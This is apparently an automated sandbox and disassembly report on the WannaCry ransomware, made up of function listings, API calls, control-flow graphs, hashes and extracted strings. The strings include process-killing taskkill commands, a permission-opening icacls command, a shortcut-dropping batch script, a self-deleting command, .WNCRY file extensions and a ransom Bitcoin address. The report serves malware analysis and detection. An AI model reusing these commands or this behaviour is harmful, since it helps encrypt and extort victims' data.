                                      • GetLogicalDrives.KERNELBASE ref: 1000591C
                                      • GetDriveTypeW.KERNELBASE(?), ref: 10005964
                                      • GetDriveTypeW.KERNEL32(?), ref: 10005977
                                      • InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100059A4
                                      • sprintf.MSVCRT ref: 100059DD
                                      • time.MSVCRT ref: 100059F6
                                      • sprintf.MSVCRT ref: 10005A1F
                                      • GetDriveTypeW.KERNEL32(?), ref: 10005A7D
                                      • Sleep.KERNEL32(0000EA60), ref: 10005A98
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: DriveTypesprintf$ExchangeInterlockedtime$??2@AttributesDrivesFileLogicalSleep
                                      • String ID: :\$%s co$%s fi$00000000.pky$@WanaDecryptor@.exe$cmd.exe /c start /b %s vs$f.wnry$taskkill.exe /f /im MSExchange*$taskkill.exe /f /im Microsoft.Exchange.*$taskkill.exe /f /im mysqld.exe$taskkill.exe /f /im sqlserver.exe$taskkill.exe /f /im sqlwriter.exe
                                      • API String ID: 2286268318-429101447
                                      • Opcode ID: d22a0b3e83f09ed7f1c4d97d18c1f7f3b1ad7b1683a076e5202ebf9cf000a3db
                                      • Instruction ID: ad20d759d00d317bb7bba8036ca53a4a21ed912866785a7fe56f7d9f5780bade
                                      • Opcode Fuzzy Hash: d22a0b3e83f09ed7f1c4d97d18c1f7f3b1ad7b1683a076e5202ebf9cf000a3db
                                      • Instruction Fuzzy Hash: 4771D475A04351ABF320EB64CC81BCF73A4EB847D5F00062AF689962DDEF71A544C7A6
                                      Function 100029F0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 130sleepfilethreadCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 300 100029f0-100029fe 301 10002a04 300->301 302 10002b88-10002b89 ExitThread 300->302 303 10002a06-10002a0c 301->303 303->302 304 10002a12-10002a21 Sleep 303->304 304->303 305 10002a23-10002a29 304->305 305->302 306 10002a2f-10002a42 EnterCriticalSection 305->306 307 10002a48 306->307 308 10002b6f-10002b82 LeaveCriticalSection 306->308 309 10002a4e-10002a64 307->309 308->301 308->302 310 10002a66 309->310 311 10002a68-10002a74 wcslen 309->311 310->311 312 10002ae4-10002aed DeleteFileW 311->312 313 10002a76-10002a82 MoveFileExW 311->313 316 10002b0a-10002b26 312->316 317 10002aef-10002b04 GetFileAttributesW SetFileAttributesW MoveFileExW 312->317 314 10002a84-10002a8e GetFileAttributesW 313->314 315 10002aab-10002ae2 swprintf MoveFileExW 313->315 314->315 318 10002a90-10002aa5 GetFileAttributesW SetFileAttributesW MoveFileExW 314->318 315->312 315->316 319 10002b46-10002b69 ??3@YAXPAX@Z 316->319 320 10002b28-10002b2d 316->320 317->316 318->315 319->308 319->309 321 10002b3a-10002b43 ??3@YAXPAX@Z 320->321 322 10002b2f-10002b31 320->322 321->319 322->321 323 10002b33-10002b38 322->323 323->319
                                      APIs
                                      • Sleep.KERNELBASE(000003E8,?,?,?,?,100029E9), ref: 10002A17
                                      • EnterCriticalSection.KERNEL32(?,?,?,?,?,100029E9), ref: 10002A36
                                      • wcslen.MSVCRT ref: 10002A69
                                      • MoveFileExW.KERNELBASE(6D636090,?,00000001), ref: 10002A7A
                                      • GetFileAttributesW.KERNEL32(?), ref: 10002A85
                                      • GetFileAttributesW.KERNEL32(?), ref: 10002A91
                                      • SetFileAttributesW.KERNEL32(?,00000000), ref: 10002A9B
                                      • MoveFileExW.KERNEL32(?,00000000,00000004), ref: 10002AA5
                                      • swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 10002ACD
                                      • MoveFileExW.KERNEL32(6D636090,?,00000001), ref: 10002ADA
                                      • DeleteFileW.KERNEL32(6D636090), ref: 10002AE5
                                      • GetFileAttributesW.KERNEL32(6D636090), ref: 10002AF0
                                      • SetFileAttributesW.KERNEL32(6D636090,00000000), ref: 10002AFA
                                      • MoveFileExW.KERNELBASE(6D636090,00000000,00000004), ref: 10002B04
                                      • ??3@YAXPAX@Z.MSVCRT ref: 10002B3E
                                      • ??3@YAXPAX@Z.MSVCRT ref: 10002B50
                                      • LeaveCriticalSection.KERNEL32(?,?,?,?,?,100029E9), ref: 10002B76
                                      • ExitThread.KERNEL32 ref: 10002B89
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$Attributes$Move$??3@CriticalSection$DeleteEnterExitLeaveSleepThreadswprintfwcslen
                                      • String ID: %s\%d%s$.WNCRYT
                                      • API String ID: 3370902958-2625268679
                                      • Opcode ID: 5aaa32eb16a49172a7f2923782406ddf12ac2b4b30e35554fb09a11671e7bc83
                                      • Instruction ID: 4eadcc60a9fd2c13a81cde3cb6b98b1cf7f5e87c47d95b9730b2c0affcd99018
                                      • Opcode Fuzzy Hash: 5aaa32eb16a49172a7f2923782406ddf12ac2b4b30e35554fb09a11671e7bc83
                                      • Instruction Fuzzy Hash: F1418DB0A00645EFE320DF24CCC8AABB7EDFB493C5B40452DF65A92259DB34A905CF21
                                      Function 10004DF0 Relevance: 29.8, APIs: 11, Strings: 6, Instructions: 89fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: sprintf$fclose$AttributesFile_ftol_wfopenfopenfreadfwrite
                                      • String ID: $%d worth of bitcoin$%.1f BTC$13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94$@Please_Read_Me@.txt$@WanaDecryptor@.exe$r.wnry
                                      • API String ID: 3877625632-294676379
                                      • Opcode ID: f93b16d99e2d67eca5aaa2646e491e3e251633abd24757ef33fd9aa690c77c84
                                      • Instruction ID: e660b577af69ff821e56b4899d06e5cea9328265c4e53c1252cafca3024faee2
                                      • Opcode Fuzzy Hash: f93b16d99e2d67eca5aaa2646e491e3e251633abd24757ef33fd9aa690c77c84
                                      • Instruction Fuzzy Hash: 3A21A875504651ABF320E764CC84DDF3799FB843D0F010A15FA9492199DB78A9488BB6
                                      Function 00401FE7 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 132stringfileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0040201F
                                        • Part of subcall function 00401225: GetComputerNameW.KERNEL32(?,0000018F), ref: 0040125F
                                        • Part of subcall function 00401225: wcslen.MSVCRT ref: 00401279
                                        • Part of subcall function 00401225: wcslen.MSVCRT ref: 00401298
                                        • Part of subcall function 00401225: srand.MSVCRT ref: 004012A1
                                        • Part of subcall function 00401225: rand.MSVCRT ref: 004012AE
                                        • Part of subcall function 00401225: rand.MSVCRT ref: 004012C0
                                        • Part of subcall function 00401225: rand.MSVCRT ref: 004012DD
                                      • __p___argc.MSVCRT ref: 00402030
                                      • __p___argv.MSVCRT ref: 00402040
                                      • strcmp.MSVCRT ref: 0040204B
                                        • Part of subcall function 00401B5F: MultiByteToWideChar.KERNEL32(00000000,00000000,qqdbarezh013,000000FF,?,00000063), ref: 00401BCA
                                        • Part of subcall function 00401B5F: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                                        • Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                                        • Part of subcall function 00401B5F: GetFileAttributesW.KERNEL32(?), ref: 00401C10
                                      • CopyFileA.KERNEL32(?,tasksche.exe,00000000), ref: 0040206F
                                      • GetFileAttributesA.KERNEL32(tasksche.exe), ref: 00402076
                                        • Part of subcall function 00401F5D: GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 00401F97
                                      • strrchr.MSVCRT ref: 0040209D
                                      • strrchr.MSVCRT ref: 004020AE
                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 004020BB
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: File$Namerand$AttributesDirectorystrrchrwcslen$ByteCharComputerCopyCurrentFullModuleMultiPathWideWindows__p___argc__p___argvsrandstrcmpswprintf
                                      • String ID: TaskStart$attrib +h .$icacls . /grant Everyone:F /T /C /Q$qqdbarezh013$t.wnry$tasksche.exe
                                      • API String ID: 1102508541-2607839591
                                      • Opcode ID: be4a2d48ff14addcf7d83aa156a9fd91eb302b3c079a5a4c3ed4ba268dadf6a1
                                      • Instruction ID: 97633fc0405850e3ba211803acf8e340ff081048f6dba40907e2b9e4b27fb4f3
                                      • Opcode Fuzzy Hash: be4a2d48ff14addcf7d83aa156a9fd91eb302b3c079a5a4c3ed4ba268dadf6a1
                                      • Instruction Fuzzy Hash: 3741B472500359AEDB20A7B1DE49E9F376C9F10314F2005BFF645F61E2DE788D488A28
                                      Function 0040714C Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 205COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 451 40714c-40714f 452 407210-407214 451->452 453 407155-407158 451->453 455 407216-40721d call 406a97 452->455 456 40721e-40722a 452->456 453->452 454 40715e-407163 453->454 457 407474-407478 454->457 455->456 456->454 459 407230-407233 456->459 461 407235-407236 call 4064e2 459->461 462 40723c-407241 459->462 466 40723b 461->466 463 407243-407249 call 406520 462->463 464 40724b-407261 call 406c40 462->464 463->466 471 407263-407266 464->471 472 40729c-40729f 464->472 466->462 475 4071e3-4071e5 471->475 476 40726c-407273 471->476 473 4072a1-4072a4 472->473 474 4072a9-4072b0 472->474 477 407331-407337 473->477 478 4072b2-4072b4 474->478 475->457 479 407283-407286 476->479 480 407275-407277 476->480 481 407339-40733e 477->481 482 4073ab-4073c6 call 40671d 477->482 483 4072b6-4072b8 478->483 484 4072c7-4072d8 strcpy 478->484 486 407290-407297 call 407070 479->486 480->479 485 407279-40727b 480->485 481->457 503 4073d5 482->503 504 4073c8-4073cf ??2@YAPAXI@Z 482->504 488 4072ba-4072bc 483->488 489 4072be 483->489 491 407343-407356 484->491 492 4072da 484->492 493 407288-40728f 485->493 494 40727d-407281 485->494 486->475 488->489 498 4072c1-4072c5 488->498 489->498 496 407358-40735f 491->496 497 40737b-4073a6 wsprintfA call 407070 491->497 500 4072e1-40730a wsprintfA call 407070 492->500 493->486 494->479 494->493 496->497 501 407361-407368 496->501 510 407312-40732b CreateFileA 497->510 498->478 509 40730f 500->509 501->500 506 40736e-407375 501->506 508 4073d9-4073f3 call 406880 503->508 504->503 506->497 506->500 513 407421-407428 508->513 514 4073f5-4073f7 508->514 509->510 510->477 517 40745a-40745e 513->517 515 4073f9 514->515 516 40742a-407431 514->516 518 407415-407419 515->518 519 4073fb-407413 WriteFile 515->519 516->517 520 407460-407463 FindCloseChangeNotification 517->520 521 407469-407473 call 406a97 517->521 523 40741b-40741d 518->523 524 40743c-407454 SetFileTime 518->524 519->518 522 407433-40743a 519->522 520->521 521->457 522->517 523->516 526 40741f 523->526 524->517 526->508
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: %s%s$%s%s%s$:$\
                                      • API String ID: 0-1100577047
                                      • Opcode ID: b48ade032f6254485008198f97bc71158d2caa973253d0d8051620b75845110e
                                      • Instruction ID: dec7791a7ad8f487ce6c0967fc7a8847d7a3d4ba063244555504d9e5938931ce
                                      • Opcode Fuzzy Hash: b48ade032f6254485008198f97bc71158d2caa973253d0d8051620b75845110e
                                      • Instruction Fuzzy Hash: 86710671D0C2089ADB219F14CC44BEA7BA9AB01304F1445BFF885B62D1D779BA86CB5A
                                      Function 10003010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 188fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 528 10003010-1000302e call 10006bd0 GetFileAttributesW 531 10003030-1000303b 528->531 532 1000303c-1000303e 528->532 533 10003040-10003044 SetFileAttributesW 532->533 534 1000304a-10003064 CreateFileW 532->534 533->534 535 100030a3-100030bd GetFileSizeEx 534->535 536 10003066-10003071 call 10003000 534->536 537 100030f4-100030fa 535->537 538 100030bf-100030c5 535->538 545 10003073-1000307c 536->545 546 1000307d-10003095 CreateFileW 536->546 542 100030fc 537->542 543 1000310e-10003113 537->543 540 100030d6-100030db 538->540 541 100030c7 538->541 550 100030df-100030f2 call 10004420 540->550 548 100030d0-100030d4 541->548 549 100030c9-100030ce 541->549 551 10003106-1000310c 542->551 552 100030fe-10003104 542->552 547 10003117-1000312c 543->547 546->535 553 10003097-100030a2 546->553 554 1000312e-10003136 547->554 548->550 549->540 549->548 550->554 551->547 552->543 552->551 556 10003161-1000316d 554->556 557 10003138 554->557 561 1000316e-10003193 WriteFile FlushFileBuffers SetFilePointer 556->561 559 10003142-1000315f SetFilePointer 557->559 560 1000313a-10003140 557->560 559->561 560->556 560->559 562 10003195 561->562 563 100031e9-100031ff FindCloseChangeNotification 561->563 564 100031a1-100031ae 562->564 565 10003197-10003199 562->565 567 100031b0 564->567 568 100031ba-100031dd WriteFile 564->568 565->563 566 1000319b 565->566 566->564 571 100031b2-100031b4 567->571 572 100031b6-100031b8 567->572 569 1000319d 568->569 570 100031df 568->570 569->564 570->563 573 100031e1-100031e7 570->573 571->568 571->572 572->568 573->563 573->564
                                      APIs
                                      • GetFileAttributesW.KERNELBASE(?,7678A390,?,?,10002BEC,?,?,?,10006E59,000000FF,100022E7,?), ref: 10003025
                                      • SetFileAttributesW.KERNEL32(?,00000000), ref: 10003044
                                      • CreateFileW.KERNELBASE(?,40000000,00000003,00000000,00000003,00000000,00000000), ref: 10003059
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$Attributes$Create
                                      • String ID: UUUU
                                      • API String ID: 1801647141-1798160573
                                      • Opcode ID: 14cc93a9fe107791c37b83c4efdcca205c7828bbbc73b4742ae3ba22524b848d
                                      • Instruction ID: 36e163601d4996daa667a0bb92eb2dba8126ee3049f78d5f23e03fc8b8949e05
                                      • Opcode Fuzzy Hash: 14cc93a9fe107791c37b83c4efdcca205c7828bbbc73b4742ae3ba22524b848d
                                      • Instruction Fuzzy Hash: 265115B57043146BF321DB14DC84FAF77DDFBC87D0F108629FA06A6298D735A90486A5
                                      Function 100011D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 100COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • GetCurrentProcess.KERNEL32 ref: 100011E4
                                      • OpenProcessToken.ADVAPI32(00000000), ref: 100011EB
                                      • GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 10001214
                                      • GetLastError.KERNEL32 ref: 1000121A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ProcessToken$CurrentErrorInformationLastOpen
                                      • String ID: ConvertSidToStringSidW$advapi32.dll
                                      • API String ID: 3761956567-1399820460
                                      • Opcode ID: 303a435fe0c47bc2ab0ad51a806ed00c7655853782dcd7968111a56573c8e81e
                                      • Instruction ID: 47968a519e593bd1c62a1f3d62b818a3899146cc2fa57af3534c2703d8e63c9f
                                      • Opcode Fuzzy Hash: 303a435fe0c47bc2ab0ad51a806ed00c7655853782dcd7968111a56573c8e81e
                                      • Instruction Fuzzy Hash: 2121C375A00212ABE300DB28EC85FEB37E8FFC06D5F404929F948C2158E374D94986A2
                                      Function 10004CD0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 88fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 621 10004cd0-10004ce7 GetFileAttributesW 622 10004ce9-10004cf5 CopyFileA 621->622 623 10004cfb-10004d05 GetFileAttributesW 621->623 622->623 624 10004dd9-10004de0 623->624 625 10004d0b-10004d59 GetCurrentDirectoryA 623->625 626 10004d5b-10004d6c 625->626 627 10004d9e-10004dd0 sprintf call 10001140 625->627 626->627 628 10004d6e-10004d9c 626->628 630 10004dd5-10004dd8 627->630 628->627 630->624
                                      APIs
                                      • GetFileAttributesW.KERNELBASE(@WanaDecryptor@.exe,00000000), ref: 10004CE2
                                      • CopyFileA.KERNEL32(u.wnry,@WanaDecryptor@.exe,00000000), ref: 10004CF5
                                      • GetFileAttributesW.KERNELBASE(@WanaDecryptor@.exe.lnk), ref: 10004D00
                                      • GetCurrentDirectoryA.KERNEL32(00000208,?,771B0F00), ref: 10004D45
                                      • sprintf.MSVCRT ref: 10004DC2
                                      Strings
                                      • @echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs, xrefs: 10004D11
                                      • \, xrefs: 10004D67
                                      • @WanaDecryptor@.exe.lnk, xrefs: 10004CFB
                                      • @WanaDecryptor@.exe.lnk, xrefs: 10004DAC
                                      • u.wnry, xrefs: 10004CF0
                                      • @WanaDecryptor@.exe, xrefs: 10004CDD
                                      • @WanaDecryptor@.exe, xrefs: 10004CEB, 10004DA2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$Attributes$CopyCurrentDirectorysprintf
                                      • String ID: @WanaDecryptor@.exe$@WanaDecryptor@.exe$@WanaDecryptor@.exe.lnk$@WanaDecryptor@.exe.lnk$@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs$\$u.wnry
                                      • API String ID: 2956617637-4137836058
                                      • Opcode ID: 1e77d94831eb72cce9ccd5b68757cc63c6d5c9f15047c273025c445cbd2f9ccc
                                      • Instruction ID: 5eff72be7f3307a573d5bd41d341f535c62de369077b8a2f1d111735481d9547
                                      • Opcode Fuzzy Hash: 1e77d94831eb72cce9ccd5b68757cc63c6d5c9f15047c273025c445cbd2f9ccc
                                      • Instruction Fuzzy Hash: A32141364006056AF308D674CC54EEF7B84FBC03A0F104B2EF6AA830E4DEB599088751
                                      Function 004010FD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 100registrystringCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 631 4010fd-401157 wcscat 632 40115c-40116c 631->632 633 401175 632->633 634 40116e-401173 632->634 635 40117a-401183 RegCreateKeyW 633->635 634->635 636 401189-40118c 635->636 637 40120d-401214 635->637 638 4011cc-4011f1 RegQueryValueExA 636->638 639 40118e-4011ca GetCurrentDirectoryA strlen RegSetValueExA 636->639 637->632 640 40121a 637->640 641 401200-40120b RegCloseKey 638->641 642 4011f3-4011fa SetCurrentDirectoryA 638->642 639->641 643 40121c-40121f 640->643 641->637 644 401220-401223 641->644 642->641 644->643
                                      APIs
                                      • wcscat.MSVCRT ref: 0040114B
                                      • RegCreateKeyW.ADVAPI32(80000001,?,00000000), ref: 0040117A
                                      • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
                                      • strlen.MSVCRT ref: 004011A7
                                      • RegSetValueExA.KERNELBASE(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
                                      • RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
                                      • RegCloseKey.KERNELBASE(00000000), ref: 00401203
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CurrentDirectoryValue$CloseCreateQuerystrlenwcscat
                                      • String ID: 0@$Software\$WanaCrypt0r
                                      • API String ID: 865909632-3421300005
                                      • Opcode ID: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                                      • Instruction ID: 752dd9e6153134350df00ddc45e524be7a8e60cbe47ba2191db59f61a0b32c4f
                                      • Opcode Fuzzy Hash: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                                      • Instruction Fuzzy Hash: 09316232801228EBDB218B90DD09BDEBB78EB44751F1140BBE645F6190CB745E84CBA8
                                      Function 10002200 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 83fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Filewcscpy$AttributesDelete_wcsicmpswprintfwcscatwcsrchr
                                      • String ID: %s%s$.WNCRY$.WNCYR
                                      • API String ID: 911510130-3396286913
                                      • Opcode ID: dfbcead6c62649fcd8ccf439d45198f201c0d9040458e4aae6c3cb298bf426c5
                                      • Instruction ID: 717d28f42427354848a5304481366f48336fdb23f3e673687209add65b969d53
                                      • Opcode Fuzzy Hash: dfbcead6c62649fcd8ccf439d45198f201c0d9040458e4aae6c3cb298bf426c5
                                      • Instruction Fuzzy Hash: FC219832444345ABF310EF94DD84DEF73A8EB856E5F00092AFA5592148E739A94D8773
                                      Function 10001140 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 42fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      • @echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs, xrefs: 10001146
                                      • %sdel /a %%0, xrefs: 100011A0
